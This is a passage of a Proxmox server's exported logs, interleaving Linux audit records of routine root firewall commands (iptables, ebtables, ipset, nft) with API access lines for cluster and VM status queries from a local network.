a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64910 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275579,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.579:69163): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964611603,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964255253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.253:60245): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b5890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57849 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605801,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 951"} {"@timestamp":1781966266000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966266.000:69142): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645902,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.902:61953): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966110433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966110.433:68483): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65765 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965904712,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965904.712:67590): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64910 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275578,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.578:69162): argc=1 a0=\"date\""} {"@timestamp":1781964608588,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1075"} {"@timestamp":1781964255246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.246:60244): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57848 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605801,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781966265991,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.991:69139): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66388 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645900,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.900:61952): argc=1 a0=\"date\""} {"@timestamp":1781966110433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966110.433:68482): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65765 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965904706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965904.706:67588): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64909 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275573,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.573:69160): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964606686,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781964255239,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.239:60243): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57847 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605801,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781966265502,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.502:69136): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=579fafb2be60 items=0 ppid=1156 pid=66387 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964645896,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.896:61950): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966110422,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966110.422:68480): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65764 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965904706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965904.706:67587): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64909 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275566,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.566:69159): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964606686,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781964255234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.234:60242): arch=c000003e syscall=59 success=yes exit=0 a0=652e5b069ed0 a1=652e5b066c50 a2=652e5b048680 a3=5 items=2 ppid=57840 pid=57846 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965604697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 939"} {"@timestamp":1781966265500,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.500:69135): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66387 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645890,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.890:61949): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966110422,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966110.422:68479): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65764 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965899697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965899.697:67582): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64902 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275560,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.560:69158): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964604661,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964255231,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.231:60241): arch=c000003e syscall=59 success=yes exit=0 a0=652e3aeceac8 a1=7ffeaa6eb570 a2=652e5b048680 a3=652e3aeb224e items=2 ppid=57840 pid=57842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965604697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781966265496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.496:69134): arch=c000003e syscall=59 success=yes exit=0 a0=5ad67d26fb20 a1=5ad67d27be00 a2=5ad67d249680 a3=5 items=2 ppid=66380 pid=66386 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645884,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.884:61948): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966106106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.106:68475): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcc5dfe240 a1=5f10523e01c0 a2=5f10523be680 a3=5 items=1 ppid=65757 pid=65758 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965899697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965899.697:67581): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64902 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275554,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.554:69157): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964603657,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964255230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.230:60240): arch=c000003e syscall=59 success=yes exit=0 a0=7ffeaa6eb530 a1=652e5b04f310 a2=652e5b048680 a3=5 items=2 ppid=57840 pid=57841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965604697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:43 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966265493,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.493:69133): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6678f6ac8 a1=7ffd5e2ceef0 a2=5ad67d249680 a3=5ad6678da24e items=2 ppid=66380 pid=66382 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645878,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.878:61947): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966106015,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.015:68457): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc0549b830 a1=60d855734200 a2=60d855712680 a3=5 items=1 ppid=65738 pid=65739 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965899690,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965899.690:67579): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64901 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275547,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.547:69156): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964600626,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964255224,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.224:60238): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57840 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965602787,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781966265491,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.491:69132): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd5e2ceeb0 a1=5ad67d26b1c0 a2=5ad67d249680 a3=5 items=2 ppid=66380 pid=66381 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645872,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.872:61946): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966105409,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966105.409:68449): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65732 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965899690,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965899.690:67578): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64901 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275538,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.538:69155): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964600626,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 857"} {"@timestamp":1781964255215,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.215:60237): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57839 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965602787,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781966265487,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.487:69130): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66380 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645866,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.866:61944): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966105409,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966105.409:68448): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65732 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895604,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.604:67574): arch=c000003e syscall=59 success=no exit=-2 a0=7fff2d2ee7d0 a1=5a4cef6c3200 a2=5a4cef6a1680 a3=5 items=1 ppid=64894 pid=64895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275533,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.533:69154): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964599627,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964255209,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.209:60236): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57838 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965602787,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781966265481,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.481:69129): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4640 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66379 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645862,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.862:61943): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966105402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966105.402:68446): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65731 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.494:67556): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc89e2d520 a1=61ecfc0441c0 a2=61ecfc022680 a3=5 items=1 ppid=64875 pid=64876 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275527,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.527:69153): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964596597,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964255203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.203:60235): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6700 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57837 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965602787,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 948"} {"@timestamp":1781966265475,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.475:69128): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66378 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645857,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.857:61942): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966105402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966105.402:68445): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65731 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965894681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965894.681:67546): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64865 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275518,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.518:69152): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964595599,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964255197,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.197:60234): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d950 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57836 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965600341,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781966265469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.469:69127): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66377 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645852,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.852:61941): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966100392,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966100.392:68441): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65724 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965894680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965894.680:67545): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 